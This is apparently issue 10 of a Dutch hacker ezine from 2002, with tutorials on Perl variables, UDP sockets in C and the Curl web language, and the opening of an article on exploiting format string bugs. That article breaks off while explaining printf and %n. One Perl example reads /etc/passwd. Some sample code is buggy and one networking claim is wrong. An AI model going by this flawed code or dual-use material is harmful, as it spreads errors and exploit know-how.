Copy Link
Add to Bookmark
Report

Hackers 4 Hackers #10

Hackers 4 Hackers Issue 10, released on 08-04-2002

eZine's profile picture
Published in 
Hackers 4 Hackers
 · 7 Mar 2024

                      ___ ___    _____    ___ ___ 
/ | \ / | | / | \
/ ~ \/ | |_/ ~ \
\ Y / ^ /\ Y /
\___|_ /\____ | \___|_ /
\/ |__| \/

+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
|h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |1|0|
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
http://www.hackers4hackers.org
'08-04-2002'

Om je aan of af te melden bij de mailinglijst ga je naar www.hackers4hackers.org

Artikelen en dergelijke kun je mailen naar artikel@hackers4hackers.org. Vragen
kun je mailen naar de desbetreffende auteur of naar post@hackers4hackers.org.

Uitspraak:
[ Nynex: en ik voorspel dat over 100 jaar, computers 2 keer krachtiger zullen ]
[ zijn dan nu, 100 keer groter, en zo duur dat alleen de 5 rijkste ]
[ koningen van europa ze kunnen betalen ]


Enkele interessante sites:
http://www.outerbrains.nl
http://www.securitydatabase.net
http://www.security.nl
http://www.whatis.com
http://www.klaphek.nl
http://www.hack.vuurwerk.nl
http://www.dsinet.org
http://www.startplaza.nu
http://www.faq4hackers.com
http://www.packetstormsecurity.com/docs/hack/i.only.replaced.index.html.txt


==========================================================================
Interactieve Media
==========================================================================
Nieuwe hbo-opleiding aan de Hogeschool van Amsterdam:

De wereld van de interactieve media komt in een nieuwe groeifase nu het
internet een normaal onderdeel wordt van bedrijfsprocessen. De kunst is
natuurlijk nog steeds om toepassingen te bedenken waar gebruikers echt wat
aan hebben. Dat leer je bij ons de praktijk.

meer informatie http://www.interactievemedia.hva.nl/index04.htm
==========================================================================


01. Disclaimer................................................. (Redactie)
02. Inleiding.................................................. (Redactie)
03. Perl voor beginners - deel 2............................... (Asby)
04. UDP Protocol............................................... (skyrim)
05. Curl....................................................... (sw00zh)
06. Exploiting Formatstring.................................... (atje)
07. Common Gateway Interface................................... (Razor)
08. Evenementen................................................ (Redactie)
09. Programmeren in C.......................................... (Razor)
10. Kort....................................................... (Redactie)
11. Hackers 4 Hackers onder de loep............................ (MrFreeze)


-------------------------------------------------------
01. Disclaimer
-------------------------------------------------------
We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen.
Deze informatie dient alleen voor educatieve doeleinden. Als je in de problemen
komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan
strafbaar zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van
de redactie.

Correspondentie met de redactie is mogelijk per email :
Algemeen - h4h-redactie@hackers4hackers.org
Vragen e.d. - post@hackers4hackers.org
Artikelen - artikel@hackers4hackers.org


-------------------------------------------------------
02. Inleiding
-------------------------------------------------------
Ok, een korte inleiding dit keer.

Hoi,

Dit keer houden we de inleiding lekker kort. We kunnen namelijk ons wel
weer gaan verontschuldigen dat het zo lang geduurd heeft dat er weer een
nieuwe H4H is uitgekomen, maar dat doen we niet. We kunnen vertellen dat we
het druk hebben met Outerbrains, werk, organiseren van H4H meetingen, maar
dat doen we ook niet. Wel kunnen we zeggen dat we nog steeds staan te
springen om artikelen. Hoe meer artikelen we binnen krijgen (kwalitatief
gezien dan) des te eerder komt er een H4H (doe daar een factor luiheid van
ons bij), dus stuur in die artikelen. Of opsturen mag ook. Misschien red ik
mijn dertig delige perlcursus (mijn levenswerk) nog wel af.

ttfn,

Asby (namens H4H)

PS Veel leesplezier


-------------------------------------------------------
03. Perl voor beginners - deel 2
-------------------------------------------------------
#!/usr/bin/perl -w
use strict;

undef $/;
my @data=<DATA>;
print @data;

__DATA__
--[Inleiding

Dit is dus mijn tweede artikeltje over perl. Deze keer gaan we het wat meer
over variabelen hebben. Ja, dat hebben we vorige keer ook al gehad, maar ik
ga er even wat dieper op in dit keer. Allereerst wil ik jullie vertellen dat
perldoc een heel handig tooltje is om help te krijgen bij je perl coden. Wie
te lui is om uit te zoeken hoe perldoc werkt (Goh, perldoc perldoc) kan
altijd online http://www.perldoc.com raadplegen. Goed dat was even om mee te
beginnen. In het kort ga ik dit keer vertellen over een aantal
standaardvariabelen die perl gebruikt en over leuke trucjes die je uit kan
halen met variabelen. En aangezien ik het de vorige keer over het
openen/sluiten en dergelijke van bestanden heb beloofd, zal dat ook aan bod
komen.

Voordat we beginnen, eerst nog een gedichtje.

------ time to party, Craig Counterman, April 27, 1991 ------
# time to party

<<;
done with my thesis

shift @gears;
study($no_more);
send(email, to, join(@the, @party, system));

open(with, ">a happy greeting");
time, to, join (@the, flock(with, $relaxed), values %and_have_fun);
connect(with_old, $friends);
rename($myself, $name = "ilyn");
$attend, local($parties);

pack(food, and, games);
wait; for (it) {;};

goto party;
open Door;
send(greetings, to, hosts, guests);
party;

tell stories;
listen(to_stories, at . length);
read(comics, $philosophy, $games);
seek(partners, $for, $fun);
select(with), caution;
each %seeks, %joy;

$consume, pop @and_food;
print $name .$on .$glass;

$lasers, $shine; while ($batteries) { last;};

time; $to, sleep
sin, perhaps;

$rest,
$till .$next .$weekend;

--[Scalars

Hieronder een opsomming van variabelen die al bestaan in perl. En ze hebben
allemaal hun eigen functie. Zoals je ziet heb je korte benamingen en lange
benamingen. Als je gebruik wilt maken van de lange benamingen zal je je
programma moeten beginnen met 'use English;'

$_ ($ARG)
Ok, deze wordt heel vaak gebruikt. Waarom dan? vraag je je natuurlijk af.
Nou.. dat zal ik jullie eens vertellen. $_ is de grote dump variabele van perl.
Ik zal het verduidelijken met wat voorbeeldjes.

while<STDIN>{
chomp($_);
$_ =~ s/bla/moo/g;
if ($_=="exit"){
print "blaat";
}
}

Let niet op wat ik in dit voorbeeld doe, want dat slaat nergens op, maar je
ziet dat alle invoer die vanuit de while loop komt in $_ word gedumpt. En dat
je daarmee verschillende handelingen kan uitvoeren. Let wel op, $_ bestaat
alleen in de while loop.

$cijfer (bijv. $1)
Hier ga ik later nog op terugkomen. Als ik dit nu moet uitleggen ben ik al
weer een heel artikel verder. Hetzelfde verhaal geld voor $& ($MATCH),
$` ($PREMATCH), $' (POSTMATCH), $+ ($LAST_PAREN_MATCH) en
$* ($MULTILINE_MATCHING). Dit heeft allemaal te maken met reguliere expressies.
En om dat uit te leggen is een artikel op zich.

$PROGRAM_NAME
$0
Dit heeft weer niks te maken met de hierboven genoemde variabelen. $0 is gewoon
de bestandsnaam van het bestand. Altijd handig.

if (!$ARGV[0]){
print "Usage: $0 <host>\n\n";
exit;
}

$INPUT_LINE_NUMBER
$NR
$.
Dit geeft zoals het zelf al aangeeft het nummer van de lijn weer. Zie het
volgende voorbeeld:

#!/usr/bin/perl

while (<>) {
print "$.\t$_";
}

Als je dit runt met: perl proggie.pl < proggie.pl krijg je de volgende output:
1 #!/usr/bin/perl
2
3 while (<>) {
4 print "$.\t$_";
5 }
Let wel op dat je $/ niet verandert, anders krijg je een hele andere output.

$INPUT_RECORD_SEPARATOR
$RS
$/
Dit is de input record separator, standaard is dit "\n" oftewel newline. Het is
een string en kan in principe alles worden. Als we vorig voorbeeld erbij pakken en
er bijvoorbeel $/="i"; erbij zetten op de tweede regel dan krijg je de volgende
uitvoer:
1 #!/usr/bi2 n/perl

$/="i3 ";
whi4 le (<>) {
pri5 nt "$.\t$_";
}
In plaats van dat hij nu bij elke newline een cijfer en een tab neerzet doet hij dit
bij elke i. Het is vooral handig als je een tekstbestand in een variabele wil lezen.
Dus net zoals het artikel gestart is.

$OUTPUT_FIELD_SEPARATOR
$OFS
$,
Dit is de waarde voor de print operator. Normaal print print gewoon wat er staat,
maar als je $, aanpast geef je aan wat er tussen velden moet komen. Zie het voorbeeld:
#!/usr/bin/perl

$,="###";
$a = "patat";
$b = "thee";
print $a,$b,"\n";

Als je dit runt krijg je als uitvoer: patat###thee###


$OUTPUT_RECORD_SEPARATOR
$ORS
$\
De tegenovergestelde van $/. Dit is wat men bij de output weergeeft. Standaard is
it "", zie volgend voorbeeld:

#!/usr/bin/perl

$\="\n";
@bla=qw(a b c d e f g h i j);
foreach (@bla){
print;
}

Dit print netjes onder elkaar a t/m j.

$FORMAT_PAGE_NUMBER
$%
De huidige pagina nummer. Hier zal ik nog in een van mijn artikelen op terugkomen.
Tevens zal ik daar dan de andere format variabelen behandelen, zoals:
$-, @-, $=, $~, $^, $:, $^L, $^A


$OS_ERROR
$ERRNO
$!
Je hebt verschillende Error Indicatoren. Maar deze is het meest gebruikte en zal ik
ook als enige behandelen.
$ perl -le 'open (FILE, "bestaatniet") || die "$!\n";'
No such file or directory

Gebruik $! altijd bij het openen van bestanden of sockets, zodat je weet wat er precies
fout gaat.


$PROCESS_ID
$PID
$$
Zoals het zelf al zegt, deze variabele geeft de pid weer.
$ perl -wle 'print "$$\n"'
21825

$REAL_USER_ID
$UID
$<
Dit spreekt ook voor zich, Dit geeft de UserID weer.

$EFFECTIVE_USER_ID
$EUID
$>
Dit geeft de effectieve UID weer.

$REAL_GROUP_ID
$GID
$(
En we hebben ook de GID.

$EFFECTIVE_GROUP_ID
$EGID
$)
En de Effectieve GID.

$[
Dit geeft de eerste waarde weer van een array. Normaal is dit 0.
$ perl -wle '$[="1";@_=qw(a b c d e f);print "$_[3]\n"'
c

Zoals je ziet wordt in plaats van de verwachtte uitkomst 'd' een 'c' geprint.
Dit komt doordat $_[0] niet bestaat omdat hij bij $_[1] begon te tellen.

$]
De versie + patchlevel/1000 van de Perl interpreter. Makkelijk als je wilt kijken
of er een goede perl versie is geinstalleerd. Maar dat kan makkelijker met 'use
VERSION' of 'require VERSION'


--[Arrays
In perl heb je ook een aantal voor gedefinieerde arrays. Het zijn er niet zo veel
als scalars, dus wees maar niet bang.

@ARGV
In de array @ARGV staan alle command-line argumenten. $ARGV[0] is in dit geval het
eerste argument en niet de filenaam. $0 is het bestandsnaam van de executable.

if ($#ARGV<2){
print "Usage: $0 <host> <poort>\n\n";
exit;
}

@INC
Ook een veel voorkomende array is @INC. In deze array staan de directory's waar perl
libraries zoekt die aangeroepen worden door de commando's require en use.

@_
Als er bij een subroutine parameters worden meegegeven dan staan ze in @_.
$ perl -wle '&x(10,5);sub x{($x,$y)=@_;print "$x + $y = ",($x+$y);}'
10 + 5 = 15

--[Hashes
Ja, daar hebben ze ook nog een aantal standaarden van. Wees gerust het zijn er niet
veel.

%INC
Hierin staan de bestanden die gekoppeld worden via use en require. Deze staan vermeld
als sleutel en de waarde is het path waar het bestand is gevonden.
$ perl -wle 'use IO::Socket;foreach (keys %INC){print "$_\t $INC{$_}";}'
Symbol.pm /usr/lib/perl5/5.005/Symbol.pm
Carp.pm /usr/lib/perl5/5.005/Carp.pm
Config.pm /usr/lib/perl5/5.005/i386-linux/Config.pm
...
%ENV
Oftewel environment. Deze hash bevat de omgeving gegevens waar je momenteel inzit.
$ perl -wle 'foreach (keys %ENV){print "$_=$INC{$_}";)'
HOSTTYPE=i386
LANG=C
HZ=100
LOGNAME=asby
MAIL=/var/spool/mail/asby
...

%SIG
Deze bevat Signal handlers voor signals.
$ perl -wle '$SIG{"QUIT"}= print "We stoppen jongens!\n\n"'
We stoppen jongens!
Hiermee kan je dus nog sockets of bestanden sluiten als die nog openstaan.

--[Arrays in Arrays
In dit stukje zal ik het hebben over wat voor leuke dingen je met arrays kan doen,
zoals ze bijvoorbeeld in elkaar stoppen.
@blaat = ( ["aardbei", "banaan"], # 0
["citroen", "druif"], # 1
["epileren", "filatelist"]); # 2
print $blaat[1][0];
citroen

Zoals je ziet hebben we nu een array in een array zitten. Maar wat nu
als je de array in een array structuur on the fly in elkaar wilt zetten.

while (<>){
@bla = split;
push @blaat, [@bla];
}

of korter:
while (<>) { push @blaat, [ split ]; }

op deze manier voeg je dus nieuwe rijen toe, maar wat nu als je nieuwe columns wilt toevoegen?
push @{ $blaat[0] }, "pindakaas", "paasei";

Waarom de @{} vraag je je natuurlijk af, dit omdat push een array wil zien en niet een
scalar of reference. Voor de rest is het gewoon leuk om hier eens mee te spelen.

--[ Bestanden bewerken
Ik heb het beloofd dus nu moet het er van komen ook. Ik zal jullie uitleggen hoe je bestanden kan
openen, sluiten en bewerken. Het is allemaal niet zo moeilijk.

open(F,"/etc/passwd");
@file=<F>;
close(F);

In het voorbeeld hierboven open ik een bestand en stop het in een variabele. En vervolgens sluit
ik het bestand ook weer netjes. Je kunt op verschillende manieren een bestand openen.

open(F,">file.txt");
open het bestand om naar te schrijven. Op het moment dat je het bestand opent is het bestand leeg,
dus pas er op als dit dus niet de bedoeling is.

open(F,">>file.txt");
open het bestand om naar te schrijven. Hier wordt de tekst onder in het bestand bijgeplaatst
en niks verwijdert.

open(F,"file.txt"); of open(F,"<file.txt");
open het bestand om te lezen.

#/usr/bin/perl -w
# Lame encryptie van tekstbestanden

undef $/;

if (!$ARGV[0]){
print "Gebruik: $0 <bestandsnaam>\n\n";
exit;
}

$bestand = $ARGV[0];

open(F,$bestand);
$_ = <F>;
close(F);

$_ = reverse $_;

open(F, ">$bestand");
print F $_;
close(F);


In bovenstaand voorbeeld een mooi voorbeeld wat je zoal met al het geleerde in dit artikel
kan doen. Ok, je moet even weten wat de reverse optie is, maar een beetje zoeken met
perldoc of op www.perldoc.com helpt je al snel verder. En als afsluiter weer enkele oefeningen:

1. Schrijf een zo kort mogelijk programma, die het volgende doet (een soort perl golf, maar dan
met alleen het geleerde): Als je het programma runt print het: "h4h h4h h4h";
De leukste inzendingen komen volgende keer in h4h.

2. Schrijf net zoals boven een systeem dat files encrypt en decrypt. Dus een two way encryptie
systeem. Ook hier de leukste inzendingen komen in de volgende h4h.

3. Schrijf je eigen 'Just another perl hacker'. Je kan spelen met loops, reverse, de standaard
variabelen. Verzin zelf maar iets leuks. Voor meer info gebruik google. En hiervan hoef ik geen
inzendingen te hebben, aangezien het internet er vol meestaat en ik te lui ben om dat allemaal na
te gaan kijken op plagiaat. Ik ben ten slotte een perl coder :P

Dit was hem weer voor deze keer. Het volgende artikel zal ik iets meer vertellen over reguliere
expressies en misschien zal ik tegen die tijd een begin maken met mijn artikel over Perl/Tk.
Mochten er nog verzoekjes zijn voor artikelen, vragen, huwelijksaanzoeken (ik ben nog vrijgezel),
flames, etc. mail me op perl@hackers4hackers.org.


ttfn,

Asby


-------------------------------------------------------
04. UDP Protocol
-------------------------------------------------------

About:
----
UDP staat voor User Datagram Protocol. Dit protocol is gedefinieerd door
DoD. (Department of Defence)
Via dit communicatie protocol kunnen data-pakketjes worden verzonden zonder
een werkelijke connectie
tot stand te hebben gebracht.

Dit protocol is een layer 4 protocol (transport layer van het OSI model)
binnen het Internet Protocol.
UDP packets hebben in tegenstelling tot onderliggende level headers een UDP
header, die bestaat uit een
checksum, packet grootte, source, en destinatie porten. Net als bij TCP zijn
UDP porten 16-bit, dus er is
een maximaal aantal porten van 65535 per IP adres.

UDP wordt vaak gebruikt voor online gaming. De programmeurs kunnen hiermee
makkelijk gegevens van
clients ontvangen zonder een verbinding tot stand te brengen, wat dus veel
meer bandbreedte zou
vreten. Het enige nadeel van dit handige pakketjes-verzenden-protocol is dat
er niet wordt gegarandeerd
dat een data-pakket aan kan komen: Het verzend, en sinds het geen streaming
connectie heeft, in tegenstelling
tot het veel gebruikte Transmission Control Protocol, kan er niet worden
gecheckt of het wel werkelijk
is aangekomen, tenzij de programmeur van de server zoiets heeft
in-geprogrammeerd.

[UDP formaat]

0 7 8 15 16 23 24 31
+--------+--------+--------+--------+
| source address |
+--------+--------+--------+--------+
| destination address |
+--------+--------+--------+--------+
| zero |protocol| UDP length |
+--------+--------+--------+--------+

Het protocol gaat ervan uit dat het IP (Internet Protocol) als onderliggend
protocol wordt gebruikt, en
is hier dus ook volmaakt voor. Bij ander soort protocollen zul je al snel
problemen krijgen.


DNS (Domain Name System/Domain Naming Services)
----
DNS is een voorbeeld van een applicatie-layer dat gebruik maakt van UDP.
Wanneer een DNS applicatie in een
host een query wilt maken, maakt het een DNS query message aan en stuurt die
door naar een UDP socket. Zonder
eerst kennis te maken met de servers etc., voegt UDP een header field toe
aan de message en stuurt deze
resulterende segment door naar de netwerk layer. De netwerk layer neemt het
UDP segment op in een datagram en
stuurt deze naar een name server. Dan wacht de DNS applicatie voor een
antwoord. Krijgt het geen antwoord,
(mogelijk vanwege het feit dat UDP de aanvraag of het antwoord kwijt is)
probeerd hij het naar een andere DNS-
server te sturen, of het laat weten dat hij niets heeft teruggekregen.


Applicaties die gebruik maken van UDP als onderliggend protocol:
----
remote file server (NFS )
streaming multimedia ( )
Bellen via internet ( )
Network Management (SNMP)
Routing Protocol (RIP )
Name Translation (DNS )


Waarom UDP meer wordt gebruikt dan TCP voor Internet applicaties
----
. Geen connectie checking; TCP gebruikt een 3-way 'handshake' voordat het
begint met data te verzenden en ont-
vangen. UDP daarintegen begint meteen, en is daarom sneller. Dit is ook
waarschijnlijk de reden waarom TCP
over UDP gaat en niet over TCP; Het zou veel langzamer zijn wegens de
delay.
. Geen packet checking; TCP zorgt voor een streaming connectie: beide
computers moeten online zijn en de
connectie mag niet worden onderbroken. Bij deze connectie zitten ontvang-
en verzendbuffers, control
parameters en nog een aantal dingen. Deze worden allemaal gecheckt of het
goed word verzonden en goed aankomt,
wat dus ook weer vertraging opleverd. UDP daarintegen verstuurt zonder te
checken.
. Kleinere segment header; Waar TCP 20 bytes van header heeft in elke
packet, heeft UDP maar 8 bytes.
. Onregelmatig versturen; TCP heeft een controle mechanisme dat de verzender
doet verhaperen wanneer het
een of meer links tussen de verzender en ontvanger heeft gedecteerd. Dit
kan een enorme packet-loss veroorzaken
maar eist een minimaal verstuur ratio. Aan de andere kant hangt de
snelheid van UDP af van het systeem; CPU,
clock rate, etc., en de bandbreedte van de toegang tot Internet.

Wij zullen nu zelf een datagram packet versturen naar
www.hackers4hackers.org op poort 666 in de programmeer-
taal "C". (C kennis vereist om het volledig te snappen ;)


Coden met UDP:
----
Om te beginnen adden we de standaard header files, normaal gesproken zijn
dit <sys/types.h>, <sys/socket.h>,
<netinet/in.h>, <arpa/inet.h>, <netdb.h> en <stdio.h> :)

* #include <sys/types.h>
* #include <sys/socket.h>
* #include <netinet/in.h>
* #include <arpa/inet.h>
* #include <netdb.h>
* #include <stdio.h>

Vervolgens declaren we main();

* int main(void) {
* ..

Goed, zonder de socket structure, die is gedefinieerd in socket.h, zou onze
compiler ook niet snappen
wat hij precies zou moeten doen. We assignen "daar" en "hier" aan als de
structure sockaddr_in, en maken
een paar int pointers die we nodig zullen hebben (waaronder de socket).

* int mijnsocket, lengte;
* char mijnboodschap[666]="hoi daar ik ben een programma dat via UDP praat."
* struct sockaddr_in daar;
* struct hostent *blaat;

Vervolgens open we een UDP socket door middel van:

* mijnsocket=socket(AF_INET, SOCK_DGRAM, 0);
* daar.sin_family = AF_INET;

Zoals je kunt zien is het tweede argument gedefined als SOCK_DGRAM, wat dus
naar ons soort protocol (UDP)
verwijst. We doen geen error checking want daar heb ik geen zin in..

* blaat = gethostbyname("www.hackers4hackers.org"); /* wie ben jij? */
* bcopy((char *)blaat->h_addr,
* (char *)&daar.sin_addr,
* hp->h_length);
* daar.sin_port = htons(atoi(666));
* lengte=sizeof(struct sockaddr_in);

Nu de hostnaam een nummertje heeft gekregen, en welke port is defined om
naar te sturen, kunnen we eindelijk
ons sendto(); commando gebruiken.

* sendto(mijnsocket,mijnboodschap, strlen(mijnboodschap),0,&daar,lengte);
* return(0);
* }

Viola, ons programma stuurt het berichtje "hoi daar ik ben een programma dat
via UDP praat."
naar de host
www.hackers4hackers.org op UDP port 666, door middel van het UDP protocol en
dus zonder een verbinding te
hebben gemaakt.

Als wij zelf UDP pakketjes willen ontvangen voegen wij toe:

* struct sockaddr_in hier;
* recvfrom(mijnsocket,mijnboodschap,666,0,&hier, &lengte);

Dit is alweer het einde van ons artikel over het UDP protocol, ik hoop dat
je er wat van hebt geleerd.

-----------------
door skyrim,
shouts naar MsH, DFA & H4H


-------------------------------------------------------
05. Curl
-------------------------------------------------------

** Inleiding **

In dit artikel leg ik je de basics uit over de vrij nieuwe taal voor webpagina's:
Curl. De meeste mensen kennen deze taal nog niet, dus daar komt dit artikeltje
mooi van pas.

** Geschiedenis **

Curl is gestart als een onderzoek project op Massachusetts Institute of
Technology (MIT) rond 1986. Pas in februari 1998 werd de eerste versie van
Curl geboren. De eerste commerciële versie, versie 1.0, kwam uit op 28 Maart
2001. Op 10 juli kwam versie 1.1 uit. Zie hier de pagina over toen Curl nog in
ontwikkeling was: http://www.cag.lcs.mit.edu/curl/

Curl is gebaseerd op verschillende soorten grote programmeertalen, zoals
C/C++ en Java. Daarom is het voor deze programmeurs ook makkelijk om over
te stappen op deze nieuwe taal.

Er wordt door de makers beweerd dat Curl de webpagina's sneller maakt, dit
omdat verschillende talen worden gecombineerd. Zo zijn normaal HTML en een
Java applet qua code gescheiden. Bij Curl hoeven deze code niet gescheiden
te zijn, dus dan is de snelheid sneller, omdat alles is gecombineerd.

Om pagina's te zien die in Curl zijn gemaakt, moet er een aparte plugin
gedownload worden, die natuurlijk gratis is. Deze heet "Surge Software
Platform 1.2"
en is hier te vinden: http://www.curl.com/html/products/surge.jsp

Om Curl pagina's te ontwerpen kan het gratis pakket "Surge Lab Integrated
Development Environment (IDE) 1.0"
gedownload worden. Die bevat een
uitgebreide (Engelse) cursus met voorbeelden, waarvan je kan leren. Deze kan
hier worden gevonden: http://www.curl.com/html/products/surgelab.jsp

Voorlopig zijn beide pakketen alleen nog voor Windows systemen. Er is wel
inmiddels al een beta pakket beschikbaar voor Linux systemen en voor de
overige systemen wordt ook aangewerkt.

** Voorbeelden van Curl pagina's **

Met Curl kan haast alles wat ook met normaal HTML kan, maar daarnaast
kunnen ook mooie applets gemaakt. Ik heb een aantal pagina's opgezocht, die je
kan bekijken als je de plugin hebt gedownload. Dan kun je zien hoe mooi en
snel sommige Curl pagina's zijn.

http://www.curl.com/demos/graphics/raytrace/tutorial.curl?_tag=gallery
http://www.curlexamples.com/examples/139/start.curl
http://www.curl.com/html/developers/examples.jsp
http://www.caitlinst.com/curl/invaders/si.html

** Beginnen met Curl **

Als je de voorbeelden heb gezien, wil je vast wel zelf aan de slag met Curl.
Verwacht nou niet gelijk dat je ook zulke pagina's kan maken gelijk, maar
oefening baart kunst :)

Voor Curl is geen HTML ervaring nodig, wat je eigenlijk wel verwacht. Curl
gebruikt wel bekende termen uit de HTML-taal, maar niet op dezelfde manier.
Eigenlijk zou je zonder enige ervaring aan Curl kunnen beginnen.

Laten we beginnen met een simpele pagina te maken. We starten eerst het
programma op voor ontwikkelaars, wat gedownload kan worden op een
bovenstaande pagina.
We zien nu 3 verschillende vensters. Linksboven een voor een overzicht van de
files, erg handig al werk je met meerdere files. Rechtsboven een voor de code
en onderin eentje voor de errors na het compilen.

We gaan nu onze eerste pagina schrijven met 'Hello World'. Op de eerste regel
geven we aan in wat voor versie het ontwikkeld is. Al heb je net het pakket
gedownload voor ontwikkelaars is het 1.7. Op de regel daarna geven we aan
wat voor licensie het applet heeft. Daaruit kunnen we kiezen uit:
- development
- personal
- licensed
Bij ons is het dus development. Normaal gesproken zou het personal zijn. Een
bedrijf moet 'licensed' met een nummer erachter, omdat die moet betalen voor
Curl pagina's te ontwerpen ofzo.
Dan wordt het dus zo:

{curl 1.7 applet}
{applet license = "development"}

Daarna kan de code worden neergezet of gewoon de tekst die je op de pagina
wilt. Bij ons word de code van onze eerste pagina dus:

{curl 1.7 applet}
{applet license = "development"}
Hello World

Als je nu drukt op 'Run File' en in je browser kijkt, zie je als het goed is 'Hello
World' staan.

Zoals bij de meeste talen, is het handig als je commentaar tussen je code zet.
Ook bij Curl kan dat natuurlijk. Op de volgende manieren kunnen we
commentaar toe voegen:

|| Op een lijn commentaar
<hier code> || Achter een code commentaar
<code> |# Tussen de code #| <code>
|#
Meerdere regels
commentaar
#|

Bij de voorbeelden hierboven moeten nog wel de eerste 2 regels bij. En
<code> is dus een willekeurige code.

Nu gaan we er meer een echte pagina van maken, zoals je een HTML pagina
gewend bent. We geven de pagina een naam, een achtergrondkleurtje, etc.

{curl 1.7 applet}
{applet license = "development"}
{title
heading? = false,
Hello World
}

Als je deze pagina nou runt, zie je de titel "Hello World" is. De regel 'heading?
= false' moet erbij, want anders zie je een titel op de pagina zelf ipv
in de browserbalk.

Om bijvoorbeeld een pagina een achtergrond kleur te geven, moet
je gebruik maken van het volgende:
{set-document-properties
background = "red"
}
In plaats van red kan je natuurlijk ook andere kleuren of kleurcodes
(bv. #000000) doen. Al wil je een plaatje als achtergrond kan dat op
de volgende manier:
{set-document-properties
background = {url "mijn_logo.jpg"}
}

Met set-document-properties kan je nog veel meer dingen instellen.
Maar daar kom ik in een volgend deel misschien wel op terug.

Nu gaan we de eigenschappen van de tekst veranderen. Dit doen
we op de volgende manier:

{text
font-family = "verdana", || Het soort lettertype
color = "black", || De kleur van de tekst
font-size = 12px, || De grootte van het lettertype
font-style = "italic", || Schuine tekst
text-underline? = true, || Onderstreept
font-weight = "bold", || Dikgedrukt
hello world! || De tekst met de eigenschappen hierboven
}

De mensen die normale webpagina's ontwerpen, herkennen sommige
dingen vast wel, want bij CSS gebruik je ongeveer dezelfde soort
begrippen. Als je een van de eigenschappen niet wilt, moet je die dus
gewoon weglaten.

Het laatste wat ik uitleg is hoe een link te maken. Dit doen we op de
volgende manier:
{link
href = {url "http://www.hackers4hackers.org/"},
Hackers 4 Hackers
}
{br}
{link
href = {url "http://www.kinderen4kinderen.org/"},
target="New Browser",
Kinderen 4 Kinderen
}

{br} was ik nog vergeten uit te leggen, maar dat is dus hetzelfde als <BR>
in HTML, dus op een nieuwe regel beginnen. De voorbeelden hierboven
hebben denk het niet veel extra uitleg nodig.

** Links naar Curl pagina's **

Hieronder nog wat links naar handige Curl pagina's. Meer pagina's zul je vast
niet tegenkomen, omdat er nog maar weinig mensen Curl gebruiken. Hier de
links:
Curl Corporation - http://www.curl.com/html/
curlBreaker.com - http://www.curlbreaker.com/
CurlExamples.com - http://www.curlexamples.com/
Curl FAQ - http://www.curl.f2s.com/faq/

** Afsluiting **

Misschien dat er nog een tweede deel komt, maar dat ligt er aan hoeveel tijd ik
over heb en of ik me nog eens verveel.

Af en toe houd Curl zelf ook nog een programmeerwedstrijd, waarmee je flink
veel geld kan winnen. Dus dat is misschien een goeie motivering om Curl te gaan
leren :)
Zie http://www.curl.com/html/developers/contestmain.jsp voor meer info daarover.

Nog ff de groeten aan alle mensen in #dd,#moenen,#ddb,#hoepelkoe en
natuurlijk #h4h op irc.rizenet.org

sw00zh - sw00zh@moenen.org
http://www.dutchdevelopers.nl/ - http://www.moenen.org/


-------------------------------------------------------
06. Exploiting Formatstring
-------------------------------------------------------

Woord vooraf
- ------------

Omdat er op dit moment nog geen Nederlandse text is over formatstring
vulnerabilities, heb ik besloten om er een te schrijven. In navolging van
Dvorak met zijn text over het schrijven van exploits voor bufferoveflows,
zal ook ik niet het wiel opnieuw uitvinden. Deze tekst is dan ook voornamelijk
gebaseerd op het uitstekende artikel van scut over dit onderwerp. Voor het
begrijpen van dit artikel is niet al teveel voorkennis noodzakelijk,
alhoewel ik er van uit ga dat er bij de lezer basiskennis over
bufferoverflows aanwezig is. Mocht deze kennis ontbreken of niet toereikend
zijn, dan kan als inleidend artikel Dvorak's tekst over bufferoverflows
gelezen worden (een tekst die eveneens Nederlandstalig is).

Benodigdheden
- -------------

- - GCC compiler
- - GDB
- - perl (of een paar tieplustige vingers)
- - een kleine dosis gezond verstand, gecombineerd met wat
doorzettingsvermogen


1. Introductie
==============

Dit artikel omschrijft de kenmerken van een fenomeen dat de security wereld
in de tweede helft van 2000 op z'n kop zette. Met de zogenaamde
"formatstring vulnerabilities" werd een compleet nieuw soort vulnerabilities
ontdekt, hetgeen leidde tot een golf van ontdekkingen van fouten in
programma's, varierend van eenvoudige utilities tot grote server software.
In dit artikel probeer ik de structuur van deze vulnerabilitie uit de doeken
te doen, om later met deze kennis over te gaan tot het bouwen van exploits
die deze bug uitbuiten. Ook wordt het auditten van C broncode in deze tekst
niet overgeslagen, zodat je aan het eind van deze tekst zelf op zoek kan
gaan naar formatstring vulnerabilities in de broncode van derden.


2. De format functions en hun werking
=====================================

Een format function is een speciaal type ANSI C function, die als een van
zijn argumenten de zogenaamde formatstring heeft. Terwijl de functie deze
formatstring doorloopt, benadert hij aan de hand van deze formatstring zijn
overige argumenten. Het is een conversie functie, die gebruikt wordt om
primitieve C datatypes (zoals int, float, enz) om te zetten naar een voor
mensen leesbare ASCIIZ string. De formatfuncties worden in bijna ieder C
programma gebruikt om informatie op het scherm te zetten, of om strings te
bewerken.

De formatstring is een normale ASCIIZ string die text en format parameters
bevat. Bijvoorbeeld:

printf("The magic number is %d\n", 2001);

De tekst die op het scherm zal verschijnen is "The magic number is: ",
gevolgd door de format parameter '%d', die in de werkelijke output vervangen
zal worden door de parameter '2001' van de formatfunctie.
Daarom ziet de output er als volgt uit "The magic number is: 2001"

Enkele format parameters:

parm | output | passed by
- ------+-------------------------+-----------
%d | decimal (int) | value
%u | decimal (unsigned int) | value
%s | string (char *) | reference
%n | number of bytes written | reference
| so far (* int) |
- ------+-------------------------+-----------

............................................................................
Opmerking:
Het '\' character wordt gebruikt voor de zogenaamde escape characters. Deze
escapecharacters worden door de C compiler vervangen tijdens compile-time,
waarbij het betreffende character wordt vervangen door het juiste character
in de executable. Formatfuncties hebben niets met deze escape characters te
maken, zo kan men in plaats van de formatparameter '%d' ook '\x25d'
gebruiken, omdat tijdens de compile '\x25' wordt vervangen door '%'.
............................................................................

Het gedrag van de formatfunctie wordt dus bepaalt door de formatstring. De
formatfunctie haalt de parameters die gevraagd worden door de formatstring
van de stack. Aanschouw het volgende voorbeeld:

int age = 20;
float length = 1.90;
